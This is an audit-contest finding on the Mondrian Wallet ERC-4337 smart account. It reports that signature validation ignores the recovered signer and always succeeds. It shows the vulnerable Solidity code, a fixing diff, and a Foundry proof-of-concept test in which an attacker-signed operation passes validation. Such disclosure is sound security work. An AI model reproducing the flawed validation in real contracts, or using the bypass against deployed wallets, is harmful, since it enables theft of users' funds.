First Flight #15: Mondrian Wallet
First Flight #15
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Validating `UserOperations` never fails

r4bbit

Summary

All UserOperations provided by EntryPoint will succeed in MondrianWallet.validateUserOp() because it always returns SIG_VALIDATION_SUCESS, even if the provided UserOperation signature was created by accounts other than the owner of the wallet.

Vulnerability Details

As per ERC-4337, bundlers collect UserOperations which are then packed and ultimately sent to the EntryPoint contract. The EntryPoint will then validate each UserOperation against the sender account (the smart account). To do that, smart accounts have to implement validateUserOp(), which has to return with a success or failure signal, depending on whether the given UserOperation had a valid signature.

If the provided signature is not valid, validateUserOp() needs to return an error code (1) as uint256.
MondrianWallet already makes use of a SIG_VALIDATION_SUCESS constant to signal a successful validation, however it doesn't take the failure case into account.

In fact, it doesn't even check the return value when trying to recover the signer's address. This means, any UserOperation that is sent to validateUserOp() will be considered valid, allowing malicious actors to execute any function on any contract via MondrianWallet by crafting and sending a dedicated UserOperation to the network.

The implementation of MondrianWallet.validateUserOp() can be found here, which will call _validateSignature(). Whatever _validateSignature() returns is the return value for validateUserOp().

Here's a code snippet from the source:

function _validateSignature(PackedUserOperation calldata userOp, bytes32 userOpHash)
internal
pure
returns (uint256 validationData)
{
bytes32 hash = MessageHashUtils.toEthSignedMessageHash(userOpHash);
ECDSA.recover(hash, userOp.signature);
return SIG_VALIDATION_SUCCESS;
}

Notice in the code above that there's no check on ECDSA.recover(). ECDSA.recover() returns the address of the account that created the signature. According to the protocol's description, only the owner of the wallet should be able to execute UserOperations on the smart account. Since there's no check, any signature will be valid. It's also very obvious that this function always returns SIG_VALIDATION_SUCCESS.

Impact

Any account can execute transactions on behalf of the smart account. This includes functionality provided by the wallet itself (like minting Mondrian paintings), as well as any external contracts and functions that are specified in the UserOperation.

In the worst case, this can cause loss of user funds and ownership.

Tools Used

  • Manual review

  • Foundry to implement test case

Recommended Mitigation

Ensure the provided signature is properly validated by checked if the signer of a given UserOperation is indeed the owner of the smart account.

function _validateSignature(PackedUserOperation calldata userOp, bytes32 userOpHash)
internal
- pure
+ view
returns (uint256 validationData)
{
bytes32 hash = MessageHashUtils.toEthSignedMessageHash(userOpHash);
- ECDSA.recover(hash, userOp.signature);
+ if (ECDSA.recover(hash, userOp.signature) != owner()) {
+ return SIG_VALIDATION_FAILED;
+ }
return SIG_VALIDATION_SUCCESS;
}

Proof of Concept for broken signature validation

Actors:

  • Attacker: Any account other than the owner() of the smart account

  • Victim: The owner() or deployer of the smart account

Working Test Case

function test_validateUserOpVulnerability() public {
// This test shows that `MondrianWallet.validateUserOp()` is unsafe as it
// will always return SIG_VALIDATION_SUCCESS, even if the provided signature
// was not created by the `owner` of the wallet
​
// create attacker address and key
(address ATTACKER, uint256 ATTACKER_KEY) = makeAddrAndKey("ATTACKER");
​
// first, ensure that the wallet's owner is `VICTIM`
assertEq(mondrianWallet.owner(), VICTIM);
​
// create a `PackedUserOperation` with decent defaults
PackedUserOperation memory packedUserOperation = _createPackedUserOperation();
​
// create `userOpHash` by hashing the `PackedUserOperation` with the `EntryPoint` and `chainid`
bytes32 userOpHash = _createUserOpHash(
packedUserOperation,
address(mondrianWallet.getEntryPoint()),
block.chainid
);
​
// create signature for the `PackedUserOperation` with attacker's private key
// as asserted above, the owner of the wallet is `VICTIM`, not `ATTACKER`
bytes memory signature = _signUserOpHash(ATTACKER_KEY, userOpHash);
​
// attach `ATTACKER`s signature to `PackedUserOperation`
packedUserOperation.signature = signature;
​
// ensure user operation was signed by `ATTACKER`
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(userOpHash), signature);
assertEq(signer, ATTACKER);
​
// impersonate `EntryPoint`, since `EntryPoint` will be the entity that calls `validateUserOp()`
vm.startPrank(address(mondrianWallet.getEntryPoint()));
​
// call `MondrianWallet.validateUserOp()` as `EntryPoint` with the `PackedUserOperation`
// that was signed by `ATTACKER`
uint256 validationData = mondrianWallet.validateUserOp(packedUserOperation, userOpHash, 0);
​
// given that `ATTACKER` has signed the `PackedUserOperation`, `validationData` should be `SIG_VALIDATION_FAILED`,
// however, it returns `SIG_VALIDATION_SUCCESS`
assertEq(validationData, SIG_VALIDATION_SUCCESS);
}
​
// HELPER FUNCTIONS
​
function _createPackedUserOperation() internal pure returns (PackedUserOperation memory) {
// this is an unpacked user operation the way it is sent to the bundler
UserOperation memory userOperation = UserOperation({
sender: address(0),
nonce: 0,
initCode: new bytes(0),
callData: new bytes(0),
callGasLimit: 0,
verificationGasLimit: 150000,
preVerificationGas: 21000,
maxFeePerGas: 0,
maxPriorityFeePerGas: 1e9,
paymaster: address(0),
paymasterVerificationGasLimit: 3e5,
paymasterPostOpGasLimit: 3e5,
paymasterData: new bytes(0),
signature: new bytes(0)
});
​
// `accountGasLimits` and `gasFees` are packed fields for `PackedUserOperation`
bytes32 accountGasLimits = bytes32(
abi.encodePacked(
userOperation.preVerificationGas,
userOperation.callGasLimit,
userOperation.verificationGasLimit
));
​
bytes32 gasFees = bytes32(
abi.encodePacked(
userOperation.maxPriorityFeePerGas,
userOperation.maxFeePerGas
));
​
// Create `PackedUserOperation` with the `UserOperation` and packed fields.
// This is the data type that `EntryPoint` sends to the smart account
return PackedUserOperation({
sender: userOperation.sender,
nonce: userOperation.nonce,
initCode: userOperation.initCode,
callData: userOperation.callData,
accountGasLimits: accountGasLimits,
preVerificationGas: userOperation.preVerificationGas,
gasFees: gasFees,
paymasterAndData: new bytes(0),
signature: userOperation.signature
});
}
​
function _createUserOpHash(PackedUserOperation memory userOp, address entryPoint, uint256 chainId) internal pure returns (bytes32) {
bytes32 packedUserOpHash = keccak256(abi.encode(
userOp.sender,
userOp.nonce,
userOp.initCode,
userOp.callData,
userOp.accountGasLimits,
userOp.preVerificationGas,
userOp.gasFees,
userOp.paymasterAndData
));
​
return keccak256(abi.encode(packedUserOpHash, entryPoint, chainId));
}
​
function _signUserOpHash(uint256 key, bytes32 userOpHash) internal pure returns (bytes memory) {
// prepend "\x19Ethereum Signed Message:\n32" to the `userOpHash` to create the `digest
bytes32 digest = MessageHashUtils.toEthSignedMessageHash(userOpHash);
// sign `digest` with `key` (which in this case is `attacker`)
(uint8 v, bytes32 r, bytes32 s) = vm.sign(key, digest);
// pack and return signature
return abi.encodePacked(r, s, v);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

ECDSA.recover should check against sender

`_validateSignature` SHOULD return SIG_VALIDATION_FAILED (and not revert) on signature mismatch.

r4bbit Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

ECDSA.recover should check against sender

`_validateSignature` SHOULD return SIG_VALIDATION_FAILED (and not revert) on signature mismatch.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.